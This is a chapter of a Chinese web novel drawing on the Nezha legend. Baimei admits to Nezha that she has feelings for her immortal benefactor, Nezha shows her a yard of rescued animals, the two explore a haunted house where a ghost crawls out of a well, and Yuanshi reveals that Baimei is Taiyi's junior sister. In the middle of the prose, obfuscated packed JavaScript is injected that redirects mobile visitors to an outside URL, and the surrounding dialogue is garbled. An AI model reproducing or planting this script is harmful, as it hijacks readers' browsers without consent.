“仙长是我的救命恩人,我是很依赖他,但我对他那是尊敬!尊敬!!”
“我要是不维护仙长,岂不是显得我很没良心?”
“哪吒你不准胡乱八卦我和仙长,不然我可要生气了!”
“......”
少女情绪激动,一张嘴便停不下来,语速惊人,生怕被人打断插话。
“知道了。”
“表姐你不喜欢行了吧?”
哪吒找准时机,语气敷衍的打断了少女地喋喋不休。
白梅恼怒地瞪大眼睛,握住他的肩膀使劲摇晃,眼神里带着几分急切的慌张,“什么叫‘行了吧’?哪吒你心里绝对还在八卦我!”
哪吒:“......”
他就随口一提,表姐就一句接一句的解释,话多的都收不住。
可表姐不知,她越是急着撇清关系,就越显得慌乱心虚,是处处都透着欲盖弥彰的心虚!
他说表姐喜欢师父那回,表姐也只是惊讶,随即便耐心和他解释,情绪十分稳定。
哪像这回?
表姐恨不得掰开他的脑袋,将他脑袋里的东西一股劲的掏出来。
这不是心虚是什么?
哪吒十分小大人的叹息一声,对面前激动的表姐说道:“喜欢又不是什么罪不可赦的事,表姐你要是喜欢就向他言明呗。”
他扫了眼表姐的脸,赞同地点了点头,“表姐你除了太瘦外,长得这般漂亮,你要是言明心意,没人会拒绝你的。”
反正他每回看见表姐的脸都很开心。
白梅:“......”
她就知道!!
哪吒完全没把她的话听进去!
白梅彻底力竭,无数话堵在她嗓子眼里说不出来。
与毫不相信的哪吒对视半晌后,她干脆摆烂。
“好吧,我应该是喜欢。”
仙长多次救她于危难之间,又为了她拿出许多法宝,就算她惹恼了他,他也只是罚她坐两个时辰,还又送她法宝......
她孤身在此,面对这样的好,她很难做到无动于衷。
可白梅觉得,自己对仙长的喜欢,更多的是吊桥效应,过段时间便好了。
比起让仙长回应她,她更想让仙长收她为徒。
她想修炼!!
白梅握着哪吒的肩膀,直视他的眼睛,认真叮嘱道:“哪吒,此事你不要和别人说。”
哪吒:“为何?”
他不明表姐之意。
“反正你别说就是了。”
哪吒点头。
但那个仙长十分厉害,又很关注表姐......
万一他自己听见,可不关他的事。
望着表姐那张垂头丧气的脸,哪吒将心里的话压了下去。
表姐怎么比他父亲还古板。
.
黄昏时分,东院沉静如水。
树叶被吹得沙沙作响,偶尔有一两片打着旋落下,正好落在趴在石桌上的少女发顶。
白梅脸贴着桌面,两只手从桌沿垂下来,辫子从肩头垂落,在空中扫来扫去。
“哎。”
少女叹了口气,把脸埋进胳膊里。
青萝正欲开口,便听院门口传来一阵轻快的脚步声。
“表姐——”
小少年的声音又脆又亮,像一颗石子砸进了死水里,溅起一圈涟漪。
白梅抬起头,只见一道红色的身影蹦蹦跳跳地闯进来,跑到石桌前刹住脚,身体前倾,眼睛亮晶晶地看着她。
“表姐,走,我带你去个好玩的地方!”
白梅懒洋洋地趴在桌上,连姿势都没换,只把眼皮抬了抬,有气无力地看了他一眼。
“什么地方?”
哪吒咧嘴一笑,神秘兮兮地压低了声音,“保密。”
他绕过石桌,拽着她的袖子把她从桌上拉起来,“你这几天老是一个人趴在这儿唉声叹气的,跟丢了魂似的,我看了都替你闷得慌。我带你出去散散心,保证你不后悔!”
出了总兵府,两人七拐八拐,道路从宽阔的主街渐渐变成狭窄的巷弄。
白梅越走越迷糊,正想开口问,哪吒便在一扇半旧的木门前停了下来。
“到了!”
门轴发出轻响,白梅还没看清里面是什么,一股温热的气息便扑面而来。
探头往里一瞧,整个人定在了原地。
院子里到处是小猫小狗。
“这......”白梅瞪大了眼睛,震惊到说不出话。
哪吒大步跨了进去,弯腰捞起一只橘色的小猫往表姐怀里一揣。
混合着干草和皮毛的味道袭来,白梅忙抱住温软的小猫,小猫喵叫一声,拿脑袋蹭了蹭她的手背,尾巴尖在她手腕上轻轻一卷。
白梅心软软,低头将下巴抵着它毛茸茸的小脑袋上。
哪吒摸了摸膝盖上的小黄狗,笑道:“这些都是我四处捡来的,可惜父亲不喜欢我养这些,我便只好请人照料。”
说着便朝院角的中年妇人点点头。
白梅挠了挠小猫下巴,小猫仰起脑袋眯着眼,发出细细的“喵呜”声。
“好可爱。”
白梅情绪大起,与院里的小猫小狗挨个互动。
见表姐一扫愁容,哪吒嘴角上翘。
“噫。”
“哪吒你来一下。”
听见呼唤,哪吒小跑来到表姐跟前。
“是天热的缘故吗?它们怎都无精打采的?”
哪吒闻言,目光一一扫过。
中年妇人端着盆走过来,叹了口气,道:“三公子,这些日子宅子后头那片荒宅不太平,一到晚上就有动静,这些猫狗耳朵灵,一有动静就叫,整宿整宿地叫,叫完白天就蔫了。”
“我也去看过两次,只那宅子大门锁着,墙又高,什么都瞧不见。可一到夜里头就有声,窸窸窣窣的,有时候还像是有人在说话。”
白梅听得打了个寒颤。
哪吒却来了兴致,起身道:“表姐,我们去瞧瞧!”
白梅指了指自己,“我也要去吗?”
她又不会法术,去了也只能起到一个拖后腿的作用。
“走吧表姐,我们一起去玩。”哪吒伸手拽起表姐,笑得格外明朗,“你可是穿了你的仙长送的法衣,怕什么?”
白梅:“....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534252|203778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
..”
可恶!又打趣她!
半刻钟后,两人站在荒宅外。
朱门紧闭,铜环落满绿锈,墙头长满荒草,从墙角一直蔓延到屋檐,遮住大半面墙。
夜风袭来,带来一股潮湿的霉味和冰冷刺骨的冷意。
白梅不妙的打了个哆嗦,“哪吒,天都黑透了,我们还是明日再来吧。”
“要的就是天黑。”
哪吒说着一脚暴力踢开那扇沉重大门,“表姐你别怕,有我呢。”
不足一米四的小少年说这话实在很难起到正面作用。
白梅完全没被安慰到。
哪吒大步跨进了门,周围漆黑寂静,白梅咬了咬牙,攥紧拳头跟了上去。
黑暗如潮水般涌来,月光被高大的院墙挡在外面,只有零星几缕从破败的屋檐缝隙里漏进来。
院里长满荒草,踩上去簌簌作响。
那声音在寂静的夜里被放大了无数倍,每一声都像踩在白梅的心尖上,又软又瘆人。
“哪吒,我们还是......”
面前空空如也,只有冷风不停往身上灌。
白梅猛地转过身,刚才走过的路被黑暗吞没。
“哪吒?”她颤抖着喊了一声,无人回应。
背后凉飕飕的,像是有人正盯着她,目光从她后脑勺一路滑到脊梁骨。
白梅心悬到嗓子眼,慢慢地回过头。
什么都没有。
她重重松了口气,攥紧的拳头松开,掌心里全是冷汗。
她要出去。
刚迈出一步,一缕月光从缝隙里漏了进来,正好落在十米外那口井上。
白梅随意一瞟。
只见一只苍白的手忽地扒住井沿,指甲缝里塞满黑泥,正从井底往上爬。
一颗头颅从井口冒了出来,长发湿漉漉地贴在脸上,水珠顺着发丝往下滴。
那张脸慢慢抬起来,正对着她。
“啊——”
尖锐叫声响彻荒宅。
白梅疯了一般转身就跑。
.
与此同时,乾元山中。
太乙真人垂手立于阶下,因那日冒失之错,正低头听训。
晨露凝了又散,散了又凝。
师父像是压抑许久,仅仅这么一点小事,竟足足训了他三日。
当然,重点还是放在让他“闭嘴”上。
他又不是傻子,师父的私事,就是给他一百个胆子,他也不敢乱传。
“师父,哪吒与......白梅姑娘相处甚好,可是有碍?”
话音落下,冷厉目光便扫了过来。
太乙真人被这一眼看得后背一凉,到嘴边的话全咽了回去,老老实实地垂下脑袋,再不敢多嘴。
元始收回目光,抬手理了理袖袍,起身望向远处翻涌云海,神情晦涩不明。
山风猎猎,衣袍翻飞,元始负手而立,身形如松。
“你照看好灵珠子便是,不必在此事上多费心力。”
“白梅她......”
师父语气一顿,下一瞬的话却让太乙真人如遭雷劈,瞳孔震颤。
“是你师妹。”